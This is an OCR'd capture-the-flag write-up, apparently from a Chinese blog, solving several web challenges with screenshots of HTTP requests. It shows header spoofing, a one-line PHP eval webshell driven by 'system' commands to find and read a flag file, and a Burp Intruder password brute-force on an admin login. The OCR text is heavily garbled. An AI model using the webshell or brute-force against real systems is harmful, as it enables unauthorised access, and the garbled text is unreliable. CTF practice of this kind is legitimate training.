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L GET / HTTP/1. 1 3 Server: Apache/2.4.7 (Ubuntu)
2 Host: 111.200. 241, 244:49606 | X-Powered-By: PHP/5.5. 9-lubuntud. 26
3 User—Agent: Mozilla/5.0 (Windows NT 10.0; Win64, x61; 5 Vary: Accept—Fncoding
rv:96.0) Gecko/20100101 Firefox/96.0 & Content-Length: 525
| Accept: 7 Commection: close
text/htnl. application/xhtml+xnl, application/xml; g=0. 9, image/ g Content-Type: text/html
avif, image/webp, */*; q=0. 8 9
5 Accept-Language: 10 <html>
zh—Cll, zh; ¢=0. 8, zh-TW: g=0. 7, zh-HK; q=0. 5, en-US; g=0. 3, en: ¢=0. 2 11 <head>
6 Accept—Fncoding: gzip, deflate 12 ¢meta charset="UTF-8">
7 ¥Forwarded-For:123. 123. 123, 123 13 <titlerindex</title>
8 Connection: close 141 <link href="
9 Upgrade—Insecure—Requests: 1 http://1ibs. baidu com/bootstrap/3. 0. 3/css/bootstrap. min. css
10 Cache—Control: max—age=0 " rel="stylesheet” />
1 15 {style>
12| 16 body {
17 margin—left:auto;
18 margin-right: auto;
19 margin-TOP:200PY;
20 width:20em:
21 )
22 {/styler
23 </head>
21 <body>»

25 {p id="demo” ripihibIMan R 123, 123, 123, 123<¢/p>

26 <{scriptrdocument. getElementById("demo”) . innerHTML=
"IMEIE Ehttps: //wew. google. con”: </script></body>

7 </html>
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GET / HTTP/1.1
Host: 111.200. 241, 244:49606
User—Agent: Mozilla/5.0 (Windows NT 10.0:; Win64: z64
rv:96.0) Gecko/20100101 Firefox/96.0
Accept:
text/html, application/xhtml+xml, application/xml; g=0. 9, image/
avif, image/webp, */#*; g=0. 8
5 Accept-Language:

zh—CH, zh; q=0. 8, zh—-TW; ¢=0. 7, zh-HK; ¢=0. 5, en-US; g=0. 3, en; g=0. 2
5 Accept—Encoding: gzip, deflate
I-Forwarded-For:123. 123. 123. 123
Referer:https://www. google. com
Connection: close
Uperade—-Insecure—Requests: 1
Cache—Control: max—age=0

[FERNES I

LD = O Wow

2. XCTFWeb#: F X webshell

15
16
18
19
20
21
a0
23
24
25

26

27

28

Content-Length: 631
Comnection: close
Content—-Type: text/html

<html>
<head>
<{meta charset="UTF-8">
<titlerindex</title>
<{link href="
http://1ibs. baidu. com/bootstrap/3. 0. 3/css/bootstrap. min. css
" rel="stylesheet” />
{style>
body{
margin—left:auto;
margin-—right: auto;
margin—TOP:200FX ;
width:Z0em;

1
{fstyle>
{/head>
<body>
<{p 1d="demo” >ipihilt MM 123. 123. 123. 123</p>
<{zcriptrdocument. getElenentById("demo”) . innerHTML=
"G B https: //fwww. google. com”: </script»<{script >document.
getElementById("demo”). innerHTML=
"eyberpeace {e02e8bc9cT75a26d3afd87d8baldb3eal ™ {/script ></
body>
</html>
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<?php @eval($_POST['shell]);?>

BEHEERSMA—AERD.
$THFHackBar, 2 #,URL, #HPOST/ES, POSTSHHIA:

shell=system( )8



FidiExecute.

& Load URL http://111.200.241.244:55624/
& split URL

@Execute
Postdata [7) Referer [] User Agent [] Cookies Add Header Clear All

shell=system('find / -name flag™);
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{F&{FHwebshelll§?

variwww/html/flag.txt <?php
@eval($_POST['shell);?>

&3 T flag.tt, BIEPOSTR A S HK A

shell=system



M iExecute, 18%flag.

D Twuer B & & TESws 88 wEEF  © HackBar
& Load URL http://111.200.241.244:55624/
3 split URL
Y
@ Execute
Post data Referer User Agent Cookies Add Header Clear All

shell=system('cat /var/www/html/flag.txt');]

{F&{EHwebshelllg?

cyberpeace{0c7d36dbb90052190ee11d2bcbbeceb33}<?php
@eval($_POST['shell);?>
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Login

111

Login

bisername
password
login
reset
o

login

reset

111.200.241.244:58790 &7~

please login as admin
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Pretty JRENE Hex \n =

POST /check.php HTTP/1.1

Host: 111.200. 241, 244:58790

ContentLength: 27

Cache—Control: max—age=0
Upgrade—Insecure-Requests: 1

Origin: http://111.200.241. 244:58790
Content—Type: application/z—www—form—urlencoded
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10 Referer: http://111.200. 241. 244:58790/

11 Accept—Encoding: gzip., deflate

2 Accept-Language: zh—CN, zh: g=0.9, en: q=0. 8, en-GB: ¢=0. 7, en-US: q=0. 6
12 Connectlion: clese

r

15 username=adminfpassword=111
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7) Payload Positions

Configure the positions where payloads will be inserted into the base request. The attack type determines the way in which payloads are assigned to payload positions - see help for full details.

User—Agent: Mozilla/5.0 (Windows NT 10.0: Win64:; x64) AppleWebKit/S37.36 (KHTML,
Accept: text/html, application/xhtml+xml, application/xml; q=0. 9, image/webp, image/apne. */+; q=0. 8, application/signed-exchanege; v=b3; g=0. 9

like Gecko) Chrome/97.0.4692.71 Safari/537.36 Edg/97.0.1072. 62

N
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Attack type: [ Sniper

POST /check. php HTTP/1.1
Host: 111.200. 241. 244:58790
Content-Length: 27
Cache—Control: max—age=0
Upgrade—Insecure—Requests: 1
Origin: http://111.200.241. 244:58790
7 Content-Type: application/x—www—form—urlencoded
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Ede/97.0.1072.62

9 Accept: text/html, application/zhtml+xml, application/xml; g=0.9, image/webp, image/apne, */*; g=0. 8, app lication/signed-exchange;v=b3; g=0. 9

10 Referer: http://111.200. 241. 244:58790/

11 Accept-FEncoding: gzip, deflate

12 Accept-Language: zh—CH, zh; g=0. 9, en; ¢=0. 8, en-GB; g=0. 7, en-US; g=0. 6
12 Connection: close

15 username=admingpassword=§ 111 §
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Target Positions Payloads Resource Pool Options

() Payload Sets

User—Agent: Mozilla/5.0 (Windows NT 10.0: Win641: x64) AppleWebKit/537.38 (KHTML,

like Gecko) Chrome/97.0.4692.71 Safari/537.38

Add §

Clear §

\ |
\ |
‘: Auto § ‘
‘ Refresh ‘
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You can define one or more payload sets. The number of payload sets depends on the attack type defined in the Positions tab. Various payload types are available for each payload set, and each payload type can

be customized in different ways.

Payload set: Payload count: 6,949
Payload type: | Simple list ~ Request count: 6,949

() Payload Options [Simple list]

This payload type lets you configure a simple list of strings that are used as payloads.

‘4 Paste | 1@#3%
; | 1@#s%n
| tead.. |ligsgera
" Remove | [EfAESGEE
 |lroot »
“ Clear | $SRV
) |%secures
‘.MJ *3noguru
@FIHA AR

[ Add 111
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(?) Payload Sets
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You can define one or more payload sets. The number of payload sets depends on the attack type defined in the Positions tab. Various payload types are available for each payload set, and each payload type can

be customized in different ways.

Pavload tvoe: | Simple list ~

Add from list ...

Fuzzing - quick
@ Fuzzing - full

Usernames

Passwords

Short words

a-z

A-Z

0-9

Directories - short

Directories - long

Filenames - short

Filenames - long

Extensions - short

Extensions - long

Payload count: 100

Reauest count: 100

used as payloads.

Add from list ...
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cyberpeace{e9411b38970d8ba090e5355075ed59d3}
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Request Payload Status Error Timeout Length Comment
a 200 434
1 123456 200 437
2 password 200 434
3 line 200 434
4 12345678 200 434
5 qwerty 200 434
& 123456789 200 434
7 12345 200 434
g 1234 200 434
9 11111 200 434
10 1234567 200 434
11 dragon 200 434
12 123123 200 434
13 hasahall 20N A32A

Request Response CSDN @2%%*9h
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